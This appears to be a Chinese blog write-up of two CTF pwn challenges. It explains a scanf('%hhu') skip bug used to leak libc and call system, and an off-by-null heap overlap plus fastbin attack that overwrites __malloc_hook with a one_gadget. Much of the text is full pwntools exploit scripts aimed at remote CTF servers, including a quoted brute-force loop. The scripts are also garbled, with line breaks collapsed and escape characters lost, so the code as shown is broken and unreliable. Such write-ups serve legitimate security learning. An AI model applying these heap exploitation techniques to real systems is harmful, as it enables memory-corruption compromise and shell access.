题目的功能很好分析,但是漏洞点之前没有见过,根据程序流程发现是scanf("%hhu"&x);存在漏洞,可以再每次新申请堆的时候跳过写入内容,保留原有堆的值。%hhu代表unsigned char,在输入为±符号的时候,输入是跳过的,并且不影响后续的程序流
我的解题思路
- 第一步:申请9个堆,然后释放9个堆,让tcache的队列填满
- 第二步:申请7个堆,这个时候tcache会在最开始接近top chunk的7、8编号堆进行合并,并且保留main_arena地址
- 第三步:利用scanf的漏洞保留main_arena值,并且通过map表泄露
- 第四步:利用隐藏的功能实现system函数调用
# -*- coding: utf-8 -*- from pwn import * import pwnlib from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') #context_terminal = ["terminator","-x","sh","-c"] def FuzzerBitmap_Creatio(index,content,bitmap,mod): conn.recvuntil("Your choice:") conn.sendline("1") conn.recvuntil("Index:") conn.sendline(str(index)) for i in range(0,8): conn.recvuntil(":") if mod: conn.sendline(str(ord(content[i]))) else: conn.sendline(content[i]) conn.recvuntil("Bitmap:") conn.send(bitmap.ljust(0x100,"x00")) def Edit_FuzzerBitmap(index,content,bitmap): conn.recvuntil("Your choice:") conn.sendline("2") conn.recvuntil("Index:") conn.sendline(str(index)) for i in range(0,8): conn.recvuntil(":") conn.sendline(str(ord(content[i]))) conn.recvuntil("Bitmap:") conn.send(bitmap.ljust(0x100,"x00")) def Check_FuzzerBitmap(index): conn.recvuntil("Your choice:") conn.sendline("3") conn.recvuntil("Index:") conn.sendline(str(index)) def Delete_FuzzerBitmap(index): conn.recvuntil("Your choice:") conn.sendline("4") conn.recvuntil("Index:") conn.sendline(str(index)) def Attack(paylaod): conn.recvuntil("Your choice:") conn.sendline("6") conn.sendline(str(paylaod)) if __name__ == '__main__': HOST = '39.105.185.193' PORT = 30007 conn = remote(HOST ,PORT) #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'}) #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'}) #conn = process("./fuzzerinstrospector") #pwnlib.gdb.attach(conn,"b main") #b *0x400ECF pause() table = "" for i in range(0,256): table += chr(i) FuzzerBitmap_Creatio(0,"A"*8,table,1) FuzzerBitmap_Creatio(1,"B"*8,table,1) FuzzerBitmap_Creatio(2,"C"*8,table,1) FuzzerBitmap_Creatio(3,"D"*8,table,1) FuzzerBitmap_Creatio(4,"D"*8,table,1) FuzzerBitmap_Creatio(5,"D"*8,table,1) FuzzerBitmap_Creatio(6,"D"*8,table,1) FuzzerBitmap_Creatio(7,"D"*8,table,1) FuzzerBitmap_Creatio(8,"D"*8,table,1) Delete_FuzzerBitmap(0) Delete_FuzzerBitmap(1) Delete_FuzzerBitmap(2) Delete_FuzzerBitmap(3) Delete_FuzzerBitmap(4) Delete_FuzzerBitmap(5) Delete_FuzzerBitmap(6) Delete_FuzzerBitmap(7) Delete_FuzzerBitmap(8) FuzzerBitmap_Creatio(0,"+"*8,table,0) FuzzerBitmap_Creatio(1,"+"*8,table,0) FuzzerBitmap_Creatio(2,"+"*8,table,0) FuzzerBitmap_Creatio(3,"+"*8,table,0) FuzzerBitmap_Creatio(4,"+"*8,table,0) FuzzerBitmap_Creatio(5,"+"*8,table,0) FuzzerBitmap_Creatio(6,"+"*8,table,0) FuzzerBitmap_Creatio(7,"+"*8,table,0) #FuzzerBitmap_Creatio(8,"+"*8,table,0) Check_FuzzerBitmap(7) conn.recvuntil("Bitmap set:") main_arena_leak = "" for x in range(8): conn.recvuntil("Bit: ") one_bit = conn.recvuntil("n",drop=True) main_arena_leak += chr(int(one_bit)) main_arena_leak = u64(main_arena_leak) print "The main_arena_leak is",hex(main_arena_leak) libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10) libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook") onegadget = libc_base + 0x4f302 system = libc_base + libc.dump("system") print "The libc base is",hex(libc_base) print "The onegadget is",hex(onegadget) Edit_FuzzerBitmap(0,"/bin/shx00",table) Attack(system) pause() conn.interactive()rusty(非预期解法)
碰到这个题目的时候确实是比较懵的,rust程序没有接触过,基本上都是去符号的二进制文件,分析比较复杂。下面详细讲讲我再比赛后的解题路程
第一步:先需要定位程序的主函数,并且了解程序的主要功能
省略分析过程,其实从main函数一路就可以定位,关键函数的位置在0xC3F0位置,从上到下审阅,可以看出来第一个输入的应该一个不大于4的数字。在往后因为反汇编显示用了JMP进行跳跃,所以IDA解析不出来,我没有静态再去分析,主要靠动态调试进行测试,最后得到了函数的主要功能和特点
- 功能1:创建堆块,申请堆块大小不超过0x100,并且经过审查使用的是calloc函数,所以申请的堆块会格式化堆内容(这导致了常规的leak libc更加困难)
- 功能2:编辑堆块,经过测试这个编辑功能存在一比特溢出,我们可以通过此构造off-by-one或者是off-by-null
- 功能3:释放堆块,经过测试发现,我们不能直接操作释放哪一个堆块,程序会根据申请堆的先后从后往前free堆块(不能操作释放哪个堆块使得堆溢出更加困难)
- 功能4:打印堆块内容,前提是堆块必须存在,不存在UAF利用
- 上述4个功能,只要碰到不符合程序流程的部分,会直接exit
在详细的了解后,发现使用off-by-one实现overlapping是非常困难的,主要还是因为free不能控制,off-by-one基本上是向后操作的,因此需要考虑别的方法。
经过Loτυs师傅的指点,发现还是需要使用off-by-null的方法
大家可以去看师傅的原文,我这里会详细分析一下原理
https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501
因为没有环境了,我主要实现在本地的测试哈,先上整体的程序代码
# -*- coding: utf-8 -*- from pwn import * import pwnlib from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') #context_terminal = ["terminator","-x","sh","-c"] def cteate_heap(size): conn.recvuntil("Command:") conn.sendline("1") conn.recvuntil("Size:") conn.sendline(str(size)) def edit_heap(index,len,content): conn.recvuntil("Command:") conn.sendline("2") conn.recvuntil("Idx:") conn.sendline(str(index)) conn.recvuntil("Len:") conn.sendline(str(len)) conn.recvuntil("Data:") conn.sendline(str(content)) def free_heap(): conn.recvuntil("Command:") conn.sendline("3") def show_heap(index): conn.recvuntil("Command:") conn.sendline("4") conn.recvuntil("Idx:") conn.sendline(str(index)) if __name__ == '__main__': HOST = 'node4.buuoj.cn' PORT = 26100 #conn = remote(HOST ,PORT) conn = process("./rusty") #pwnlib.gdb.attach(conn,"b main") #b *0x400ECF pause() '''第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满''' [cteate_heap(0x88) for x in range(7)] #0-6 #这里用了9个0x100堆,就是想通过剩余的两个合并成0x200大小的unsorted bin [cteate_heap(0x100) for x in range(9)] #7-15 #这里用了8个0x68堆,是为了有一个放入fastbin中,并且在后续想办法利用它实现fastbin attack [cteate_heap(0x68) for x in range(8)] #16-23 [free_heap() for x in range(17)] '''第二步:此时存在0x200大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x90的块(含头),为了后续可以继续连续申请大小为0xf8的堆块''' cteate_heap(0x88) #7 cteate_heap(0x100) #8 '''第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null''' [cteate_heap(0xf8) for x in range(9)] #9-17 [free_heap() for x in range(7)] payload = "x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "x00" edit_heap(9,len(payload),payload) free_heap() #off by null success!!! free 10!!! '''第四步:这一步猛一看为什么构造的这么复杂?是为了错开原本的对结构,使得新生成的堆头处于原本堆的中部''' cteate_heap(0x70) #10 [cteate_heap(0x100) for x in range(6)] #11-16 [cteate_heap(0xa0) for x in range(2)] #17-18 [cteate_heap(0xc8) for x in range(4)] #19-22 show_heap(9) conn.recvuntil("x7f") conn.recv(2) leak = conn.recvuntil("x7f") leak = leak.decode("utf-8").ljust(8,"x00") leak = u64(leak) print "The libc leak is",hex(leak) __malloc_hook = leak - 96 - 0x10 libc = LibcSearcher("__malloc_hook",__malloc_hook) libc_base = __malloc_hook - libc.dump("__malloc_hook") one_gadget = libc_base + 0x4f302 realloc = libc_base + libc.dump("realloc") print "The malloc hook is",hex(__malloc_hook) print "The libc base is",hex(libc_base) print "The onegadget is",hex(one_gadget) '''第五步:修改新申请的堆块内容,实现fastbin attack''' cteate_heap(0xa0) #23 cteate_heap(0x90) #24 cteate_heap(0x90) #25 payload = "x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23) #18 edit_heap(18,len(payload),payload) show_heap(9) cteate_heap(0x68) #26 cteate_heap(0x68) #27 '''第六步:修改malloc hook实现onegadget''' payload = "x00"*0xb + p64(0) + p64(one_gadget) edit_heap(27,len(payload),payload) pause() conn.interactive()
之后我们分步骤讲解
第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满
通过第一步构造,此时我们的堆空间是这样的
|------------------------| | 7个0x90 | |------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的 | 2个0x110 | # 这两个0x110的堆块合并成了一个0x220的unsorted bin |------------------------| | 7个0x110 | # 这里填满了tcache |------------------------| | 8个0x70 | # 这里填满了tcache |------------------------|
第二步:此时存在0x220大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x80的块(含头)
这一步是必须的,因为我们再申请堆块会优先从unsorted bin上申请,为了后面正常申请大小为0xf8的堆块,必须先把这个0x220的堆块切割变小,直至小于0x100
第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null
在[free_heap() for x in range(7)]之后,我们的堆空间已经变成了
|------------------------| | 7个0x90 | |------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的 | 0x90 | # 用于切割0x220的unsorted bin |------------------------| | 0x110 | # 用于切割0x220的unsorted bin |------------------------| | 0x80 | # 切割后剩余的0x80的unsorted bin |------------------------| | 7个0x110 | # 填满了tcache |------------------------| | 8个0x70 | # 填满了tcache,并且生成一个fastbin |------------------------| | 2个0x100 | # 这两个是没有被释放的,用于实现off-by-one |------------------------| | 7个0x100 | # 填满了tcache |------------------------|
通过修改第9个块,影响第10个块,经过计算使得pre_size指向被切割后的unsorted bin,具体的计算过程看代码应该是很清楚的
在free(10)之后,堆结构就变成了
|------------------------| | 7个0x90 | |------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的 | 0x90 | # 用于切割0x220的unsorted bin |------------------------| | 0x110 | # 用于切割0x220的unsorted bin |------------------------| | 合并后的块 | # 合并后的内容,大小为0x80 + 7*0x110 + 8*0x70 + 2*0x100,我们未被释放的是堆块9,位置在0x80 + 7*0x110 + 8*0x70 |------------------------| | 7个0x100 | # 填满了tcache |------------------------|
第四步:不断申请堆块,使得将大的unsorted bin切割至与第9块平齐
这一步有一个大坑,就是切割的过程中,需要将新申请的堆头避开原有的堆头,否则会破坏原有堆结构并且报错,所以才会歪七扭八的申请这么多堆
cteate_heap(0x70) #10 [cteate_heap(0x100) for x in range(6)] #11-16 [cteate_heap(0xa0) for x in range(2)] #17-18 [cteate_heap(0xc8) for x in range(4)] #19-22 show_heap(9)
然后就可以泄露libc地址了
第五步:实现fastbin attack
这个就不多说,新申请的堆块去修改在fastbin链上的堆块,实现fastbin attack,在malloc hook修改onegadget
至此本地调试结束,大佬说本地调通很简单,因为还有其他问题…
真实环境中坑点1:堆风水
大佬说真实环境中还有堆风水的问题,他是把环境配置成ubuntu18更新libc来测试的,解决了堆风水问题
真实环境中坑点2:malloc hook附近找可申请的x7f与本地不同
这个大佬说内存地址情况和本地也不一样,大佬用的爆破的方法,最终成功了。记录一下大佬的代码
from pickle import TRUE from pwn import * from time import sleep # context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' # r = process('/home/cru5h/bin/2022/11/rusty') # r = remote('39.105.187.159',30008) libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so') def menu(choice): r.recvuntil(b'Command:') r.sendline(str(choice)) def add(size): menu(1) r.recvuntil(b'Size: ') r.sendline(str(size)) def edit(index,size,content): menu(2) r.recvuntil(b'Idx: ') r.sendline(str(index)) r.recvuntil(b'Len: ') r.sendline(str(size)) r.recvuntil(b'Data: ') r.sendline(content) def delete(): menu(3) def show(index): menu(4) r.recvuntil(b'Idx: ') r.sendline(str(index)) def pwn(i): r.recvuntil(b'Let's build a rusty house!n') stack_addr = int(r.recvuntil(b'n')[:-1],16) [add(0x88) for i in range(8)] #0-7 [add(0x100) for i in range(9)]#8-16 [add(0x68) for k in range(8)]#17-24 [delete() for j in range(17)] add(0x80)#8 add(0x100)#9 [add(0xf8) for k in range(9)]#10-18 [delete() for l in range(7)] edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'x00')#9-11 exists delete() add(0x70)#11 [add(0x100) for o in range(6)]#12-17 add(0xf0)#18 [add(0x60*2) for o in range(4)]#19-22 add(0x40)#23 show(10) r.recvuntil(b'Data: ') # something= r.recvuntil(b'x7f')[-6:].decode('utf8') # print(something) r.recv(2) # res = r.recvuntil(b'x7f') # print(res) # print(len(res)) # libc_base = u64(res.ljust(8,'x00')) - 0x3ebca0 libc_base = u64(r.recvuntil(b'x7f').decode('utf8').ljust(8,'x00')) libc_base = (libc_base<<8)+0xa0-0x3ebca0 print(hex(libc_base)) one_gadget = libc_base+0x4f302 malloc_hook = libc_base+libc.sym["__malloc_hook"] print(hex(malloc_hook)) # edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8)) edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i)) # gdb.attach(r) add(0x60)#24 add(0x68)#25 edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget)) # pause() # log.success("libc_base: "+hex(libc_base)) # gdb.attach(r) menu(1) r.interactive() for i in range(0x60): r = remote('39.105.187.159',30008) try: print(i) pwn(i) except EOFError: r.close() ———————————————— 版权声明:本文为CSDN博主「Loτυs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/Invin_cible/article/details/125812355
真的不得不说Loτυs真的强,以至于我觉这个非预期解比站撸rust结构体带劲多了…orz…